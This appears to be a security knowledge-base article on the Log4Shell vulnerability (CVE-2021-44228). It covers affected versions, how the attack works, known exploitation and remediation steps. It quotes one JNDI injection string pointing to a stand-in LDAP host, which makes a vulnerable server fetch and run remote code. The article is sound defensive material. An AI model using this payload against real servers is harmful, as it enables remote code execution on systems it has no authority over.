Log4Shell (CVE-2021-44228)
CVE-2021-44228CWE-917OWASP A03:2021CVSS 10.0Updated October 1, 20262 min read
Log4Shell is a vulnerability in Apache Log4j 2 that lets an attacker run arbitrary code on a server by getting a single string into a log line. It scores 10.0, the highest CVSS awards. Limited testing began eight days before disclosure, and mass scanning within hours of it. Log4j hides deep inside Java applications, so the only reliable approach is to find out where you run it and keep it on a current release.
- Affected
- Apache Log4j 2.0-beta9 through 2.3, 2.4 through 2.12.1 and 2.13.0 through 2.14.1
- Patched in
- Log4j 2.15.0 (Java 8), 2.12.2 (Java 7) and 2.3.1 (Java 6); the follow-up flaws are fixed from 2.17.1, 2.12.4 and 2.3.2
- Actively exploited
- yes
On 9 December 2021 a vulnerability in Log4j 2, the logging library that sits inside almost every Java application, became public. Within hours the entire internet was scanning for it. It was not entirely new to attackers: Cloudflare found limited testing of the flaw from 1 December, and Cisco Talos observed attack activity from 2 December. Log4Shell has been the textbook illustration of supply-chain depth ever since.
What is Log4Shell
Log4j could look up and substitute values inside a log line. A string such as ${jndi:ldap://example.com/a} was not text to the library but an instruction: fetch something from that server and run it. Anything an application logged could carry that instruction, and applications log almost everything: a username, a search term, a User-Agent header.
How the attack works
The attacker puts the string into a field they suspect gets logged. Often that was simply the User-Agent of an HTTP request. The moment the application wrote that line, the server itself connected out to the attacker, fetched a Java class and executed it. No credentials, no interaction from an employee.
At its core this is an injection: attacker input is evaluated as a JNDI lookup expression (CWE-917). The outbound connection is only the means. The damage comes from the server loading and running a class from a server the attacker controls, which turns a log line into remote code execution.
Who exploited it
A broad range of attackers. Criminal groups scanned the internet at scale, and in many cases the first payload was a cryptominer or botnet malware such as Mirai. State actors followed. CISA described, for example, how Iranian government-sponsored actors got into a US federal agency through an unpatched VMware Horizon server, installed a cryptominer and moved on to the domain controller. That intrusion went back to at least February 2022, two months after the patch was released.
Why it dragged on for years
Nobody installs Log4j on purpose. It arrives as a dependency of a framework, which arrives with a vendor’s product. Organisations simply did not know where it was running. Applications that were never patched are still found and exploited years later.
What to do now
- Inventory which applications use Log4j 2, indirect dependencies included. A software bill of materials makes this repeatable.
- Run a currently maintained Log4j 2 release. Log4Shell itself was closed in 2.15.0 (2.12.2 on Java 7, 2.3.1 on Java 6); all three follow-up flaws are fixed as of 2.17.1, 2.12.4 and 2.3.2. The Java 7 and Java 6 lines no longer receive updates, and later releases have fixed other issues as well.
- Restrict outbound traffic from servers. Without the ability to call out, the second stage of the attack fails.
- Check whether anything arrived from December 2021 onwards. Access obtained then may still be in place.
Sources
- Apache Log4j Security Vulnerabilitieslogging.apache.org
- NVD: CVE-2021-44228nvd.nist.gov
- CISA: Apache Log4j Vulnerability Guidancecisa.gov
- Cloudflare: Exploitation of Log4j CVE-2021-44228 before public disclosureblog.cloudflare.com
- Cisco Talos: Critical Apache Log4j vulnerability being exploited in the wildblog.talosintelligence.com
- CISA: Iranian Government-Sponsored APT Actors Compromise Federal Network (AA22-320A)cisa.gov
Frequently asked questions
Am I still exposed to Log4Shell?
To Log4Shell itself, yes, if an application ships log4j-core older than 2.15.0, or older than 2.12.2 on Java 7 and 2.3.1 on Java 6. Releases below 2.17.1, 2.12.4 and 2.3.2 respectively still carry the follow-up flaws. Log4j usually arrives as a dependency of another library, so a thorough inventory of your software is the only way to be certain.
Does a WAF help against Log4Shell?
A firewall catches the known patterns and buys you time, but the string can be disguised in dozens of ways. Only upgrading actually fixes it.
Why did Log4Shell score 10.0?
The attack needs no account, no user interaction and works over the network, and it hands the attacker full control of the process. That is the maximum on every axis CVSS measures.
Related articles
- CVEsCWE-77A03:2021PAN-OS GlobalProtect (CVE-2024-3400)CVE-2024-3400 explained: how a command injection in the GlobalProtect gateway or portal of PAN-OS handed attackers root on the firewall itself.
- GlossaryZero-dayA zero-day is a vulnerability still unknown to the vendor, meaning no patch exists yet. Learn how zero-day exploits work and how to limit the risk they pose.
- VulnerabilitiesCWE-94A03:2021Remote code execution (RCE)Remote code execution (RCE) explained: how attackers run their own commands or code on your server through unvalidated input, and how to prevent it.
- VulnerabilitiesCWE-918A10:2021Server-side request forgery (SSRF)Server-side request forgery (SSRF) explained: how attackers abuse your server to reach internal systems and cloud services, and how to prevent it.